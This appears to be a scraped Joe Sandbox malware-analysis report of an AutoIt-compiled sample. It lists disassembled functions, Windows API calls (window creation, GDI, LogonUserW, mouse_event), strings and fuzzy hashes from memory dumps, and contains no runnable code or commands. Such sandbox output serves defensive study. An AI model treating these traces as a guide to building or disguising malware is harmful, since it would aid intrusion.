Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 0af1a238b4781db906ed76c4d43f0680cb05490c219ec456145e60af9b5a579e
Instruction ID: 7246456f56c7654db3182e62f1818a07d89c254dfbe82a209bf271ceefde72a6
Opcode Fuzzy Hash: 0af1a238b4781db906ed76c4d43f0680cb05490c219ec456145e60af9b5a579e
Instruction Fuzzy Hash: 8EE0BF75010511AFE7252B65FC05D777BA9FB04311715882AB955C4471DB615CD1DB10

Function 0082A155 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00828D57,?,?,?,00000001), ref: 0082A15A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 0082A163

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 1865c2b6b6885eeb055e851f0a0b15573c89aba65cde44db68e6a83db117d6b0
Instruction ID: 1ddf9d8b1f0b6efeb0859587e566aad4cabbdd8946e2e9b3438547630ee469bc
Opcode Fuzzy Hash: 1865c2b6b6885eeb055e851f0a0b15573c89aba65cde44db68e6a83db117d6b0
Instruction Fuzzy Hash: 0FB09231254308ABCA002B99EC09B883F68FB46AA2F404020F70D84262CB6258508B91

Function 0082F1D9 Relevance: 2.1, APIs: 1, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5e6fa977b3c55e02b052f4dc7bf88585d3aaec2e3c7cd5b7484c6bb752e348a
Instruction ID: 6607cb48d4bb659cfdb11a188b8d8209c6c79a682c5c41722e45dba70d98f236
Opcode Fuzzy Hash: b5e6fa977b3c55e02b052f4dc7bf88585d3aaec2e3c7cd5b7484c6bb752e348a
Instruction Fuzzy Hash: 6932E221D29F554DD723A634D822335A698FFB73D4F19D737E81AB5AA6EB28C4C38100

Function 0083242E Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 045992c5ddb4c489394dcc3c6b0f9803a1318a603a457f05ce1cf5c95c477505
Instruction ID: 3c107766d4235aa3cd09100f4566fba753122c16381995604576549c6e207ce1
Opcode Fuzzy Hash: 045992c5ddb4c489394dcc3c6b0f9803a1318a603a457f05ce1cf5c95c477505
Instruction Fuzzy Hash: C3B1F020E2AF414DD723A6398831336BA5CBFBB2C5F55D71BFC1670E22EB2185835181

Function 00868889 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 0086889B

Part of subcall function 0082520A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00868F6E,00000000,?,?,?,?,0086911F,00000000,?), ref: 00825213
Part of subcall function 0082520A: __aulldiv.LIBCMT ref: 00825233

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__time64
String ID:
API String ID: 2893107130-0
Opcode ID: 0608a9b21673d2f17a13338c98272b1d03c722053b041199a426bf82ef6a3dc0
Instruction ID: ed7dcae31f2043c1f7f73f4361685b986e75d8a806930d1171a8d63bd80bf30a
Opcode Fuzzy Hash: 0608a9b21673d2f17a13338c98272b1d03c722053b041199a426bf82ef6a3dc0
Instruction Fuzzy Hash: 0F21AF32625610CFC729CF29D841A52B3E1FBA5311B698F7CE1F9CB2C0DA34A905CB54

Function 00864C27 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 00864C4A

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: 72eb8a874eaa405adbc72b33772909a568846916b339fa123b2b5009577506a7
Instruction ID: 203e22816018c36c9d3bd56c77e7fed7c62d6c8ee19f8aa487ed7423b70661f6
Opcode Fuzzy Hash: 72eb8a874eaa405adbc72b33772909a568846916b339fa123b2b5009577506a7
Instruction Fuzzy Hash: 7AD09EA516561D79ED1C07649E1FFBE1148F341796FD6B1497601CA2C2ECA05C446131

Function 008587B1 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00858389), ref: 008587D1

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: cb4fba25d262f14e35f2ff430f050166e3f29d71a2c2d48912ad7499f618ab1e
Instruction ID: 872724b527e7c508dad6b61d5b21434030b5b07a853e0a4a696d755161bebbe9
Opcode Fuzzy Hash: cb4fba25d262f14e35f2ff430f050166e3f29d71a2c2d48912ad7499f618ab1e
Instruction Fuzzy Hash: 9AD09E3226490EAFEF019EA8DD05EAE3B69FB04B01F408511FE15D51A1C775D935AB60

Function 0082A124 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 0082A12A

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 97be839f424218e1c5c5697cf51a1c44676807e49b7681417ca2770efe9fe015
Instruction ID: da90b7ffd56ed18129fa560e5e5cdae7a42c1aaa3bcc267af6b2aaa776e17240
Opcode Fuzzy Hash: 97be839f424218e1c5c5697cf51a1c44676807e49b7681417ca2770efe9fe015
Instruction Fuzzy Hash: 48A0113000020CAB8A002B8AEC08888BFACEA022A0B008020FA0C802228B32A8208B80

Function 00818808 Relevance: .6, Instructions: 590COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4f7c1f7b2e5de85e70df3942a08eccc2ba1a15d657bf5ea74e98e247c05dcb8
Instruction ID: 45d18ce5f16396cb5c5d947efa14de7ae5c7ecc4b82ee05a821c0a648e9e7a3a
Opcode Fuzzy Hash: a4f7c1f7b2e5de85e70df3942a08eccc2ba1a15d657bf5ea74e98e247c05dcb8
Instruction Fuzzy Hash: 83224630A0451ACBDF388B28C4A67FC7BA5FF01359F28816AD946CB592DB749DC5C742

Function 008221C5 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: eaacf1e410b5ce23c5026f84466e5de60622095387f9b9fe8f19119b298087ea
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: 36C187322051B349DF6D8639A43803EFAA1FEA27B131A076DD4B3DB1D4EE14D9A5D720

Function 008225FA Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: 73e029442c172ec833e3237daaa3a99f019494d539b9711260ba586e6fa6bb74
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: 57C173322091B35ADF2D463A943453EBAA1BFA27B131B076DD4B3DB1D4EE10C9A5D720

Function 00821978 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 35bd88bce62c4b1c9f16d98c6b408087df70ab4c1f32d6e858b07ec27f47e969
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: 34C184362451B349DF2D4639A47813EBAA1EEB27B132B076DD4B3CB1D4EE20C9A5D710

Function 00877806 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 491filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 0087785B
DeleteObject.GDI32(00000000), ref: 0087786D
DestroyWindow.USER32 ref: 0087787B
GetDesktopWindow.USER32 ref: 00877895
GetWindowRect.USER32(00000000), ref: 0087789C
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 008779DD
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 008779ED
CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00877A35
GetClientRect.USER32(00000000,?), ref: 00877A41
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00877A7B
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00877A9D
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00877AB0
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00877ABB
GlobalLock.KERNEL32(00000000), ref: 00877AC4
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00877AD3
GlobalUnlock.KERNEL32(00000000), ref: 00877ADC
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00877AE3
GlobalFree.KERNEL32(00000000), ref: 00877AEE
CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00877B00
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00892CAC,00000000), ref: 00877B16
GlobalFree.KERNEL32(00000000), ref: 00877B26
CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00877B4C
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00877B6B
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00877B8D
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00877D7A

Strings

static, xrefs: 00877A75, 00877BCC
AutoIt v3, xrefs: 00877A2D
, xrefs: 00877D00
DISPLAY, xrefs: 00877BDD

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: c6216a575e1039007140d7829e1c8260ec2476315e499cf79509be90d651b6c5
Instruction ID: fe812de1bd21e56385c8ff6f504be847134bb8fc5f4aae791159a64445f9ea3b
Opcode Fuzzy Hash: c6216a575e1039007140d7829e1c8260ec2476315e499cf79509be90d651b6c5
Instruction Fuzzy Hash: 1E023B71900115AFDB14DFA8DC89EAE7BB9FB48310F148169F919EB2A2D734ED41CB60

Function 0088356B Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,0088F910), ref: 00883627
IsWindowVisible.USER32(?), ref: 0088364B

Strings

EDITPASTE, xrefs: 0088395F
GETSELECTED, xrefs: 008838A3
CHECK, xrefs: 0088386D
SENDCOMMANDID, xrefs: 008839DA
DELSTRING, xrefs: 00883749
FINDSTRING, xrefs: 00883776
GETCURRENTSELECTION, xrefs: 008837E3
GETLINECOUNT, xrefs: 008838C6
GETCURRENTLINE, xrefs: 008838ED
TABRIGHT, xrefs: 0088369D
ADDSTRING, xrefs: 00883716
ISENABLED, xrefs: 0088366B
TABLEFT, xrefs: 00883687
SHOWDROPDOWN, xrefs: 008836E0
ISCHECKED, xrefs: 00883839
SELECTSTRING, xrefs: 00883806
HIDEDROPDOWN, xrefs: 00883700
CURRENTTAB, xrefs: 008836BD
SETCURRENTSELECTION, xrefs: 008837B6
GETLINE, xrefs: 0088399B
UNCHECK, xrefs: 00883883
ISVISIBLE, xrefs: 00883637
GETCURRENTCOL, xrefs: 00883928

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: edfbd58687663c8a78afb733c6ee2aaf48af903d3155277b9f38c42558fc4538
Instruction ID: 0b7f21cbc3ec835fd49521b7c480c926fdfad3b94b779cf6f21cf53914eee285
Opcode Fuzzy Hash: edfbd58687663c8a78afb733c6ee2aaf48af903d3155277b9f38c42558fc4538
Instruction Fuzzy Hash: 47D15D702043119BCA04FF18C852A6E7BA5FF95754F544468F986DB3A3DB21EE4ACB42

Function 0088A5DA Relevance: 49.8, APIs: 33, Instructions: 260COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 0088A630
GetSysColorBrush.USER32(0000000F), ref: 0088A661
GetSysColor.USER32(0000000F), ref: 0088A66D
SetBkColor.GDI32(?,000000FF), ref: 0088A687
SelectObject.GDI32(?,00000000), ref: 0088A696
InflateRect.USER32(?,000000FF,000000FF), ref: 0088A6C1
GetSysColor.USER32(00000010), ref: 0088A6C9
CreateSolidBrush.GDI32(00000000), ref: 0088A6D0
FrameRect.USER32(?,?,00000000), ref: 0088A6DF
DeleteObject.GDI32(00000000), ref: 0088A6E6
InflateRect.USER32(?,000000FE,000000FE), ref: 0088A731
FillRect.USER32(?,?,00000000), ref: 0088A763
GetWindowLongW.USER32(?,000000F0), ref: 0088A78E

Part of subcall function 0088A8CA: GetSysColor.USER32(00000012), ref: 0088A903
Part of subcall function 0088A8CA: SetTextColor.GDI32(?,?), ref: 0088A907
Part of subcall function 0088A8CA: GetSysColorBrush.USER32(0000000F), ref: 0088A91D
Part of subcall function 0088A8CA: GetSysColor.USER32(0000000F), ref: 0088A928
Part of subcall function 0088A8CA: GetSysColor.USER32(00000011), ref: 0088A945
Part of subcall function 0088A8CA: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0088A953
Part of subcall function 0088A8CA: SelectObject.GDI32(?,00000000), ref: 0088A964
Part of subcall function 0088A8CA: SetBkColor.GDI32(?,00000000), ref: 0088A96D
Part of subcall function 0088A8CA: SelectObject.GDI32(?,?), ref: 0088A97A
Part of subcall function 0088A8CA: InflateRect.USER32(?,000000FF,000000FF), ref: 0088A999
Part of subcall function 0088A8CA: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0088A9B0
Part of subcall function 0088A8CA: GetWindowLongW.USER32(00000000,000000F0), ref: 0088A9C5
Part of subcall function 0088A8CA: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0088A9ED

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: aa2a1b382e73d55986ae0fe7ab473d94bff3aaefbd94ef114dad774e4b29e129
Instruction ID: c1ee18d28b8a6b71f65fa963b9e5bcc2af3eb41904181bede64871c43b00d52f
Opcode Fuzzy Hash: aa2a1b382e73d55986ae0fe7ab473d94bff3aaefbd94ef114dad774e4b29e129
Instruction Fuzzy Hash: A7918E72008301EFD711AF68DC08A5B7BA9FF89321F104B2AF6A2D61E2D771D944CB52

Function 00802C18 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 00802CA2
DeleteObject.GDI32(00000000), ref: 00802CE8
DeleteObject.GDI32(00000000), ref: 00802CF3
DestroyIcon.USER32(00000000,?,?,?), ref: 00802CFE
DestroyWindow.USER32(00000000,?,?,?), ref: 00802D09
SendMessageW.USER32(?,00001308,?,00000000), ref: 0083C43B
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 0083C474
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 0083C89D

Part of subcall function 00801B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00802036,?,00000000,?,?,?,?,008016CB,00000000,?), ref: 00801B9A

SendMessageW.USER32(?,00001053), ref: 0083C8DA
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 0083C8F1
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 0083C907
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 0083C912

Strings

0, xrefs: 0083C731

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: d3e310ac16b27b5f4b193897f3b755f9c8145708d31557e67cae585bcba65d70
Instruction ID: 1ded665338ae546c850bc5b2df695159689712401515871b130840a348adb36d
Opcode Fuzzy Hash: d3e310ac16b27b5f4b193897f3b755f9c8145708d31557e67cae585bcba65d70
Instruction Fuzzy Hash: 8C128D30600201EFEB65DF28C888BA9BBE5FF85314F544569F995EB2A2C771EC41CB91

Function 008774AB Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 008774DE
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0087759D
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 008775DB
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 008775ED
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00877633
GetClientRect.USER32(00000000,?), ref: 0087763F
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00877683
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00877692
GetStockObject.GDI32(00000011), ref: 008776A2
SelectObject.GDI32(00000000,00000000), ref: 008776A6
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 008776B6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 008776BF
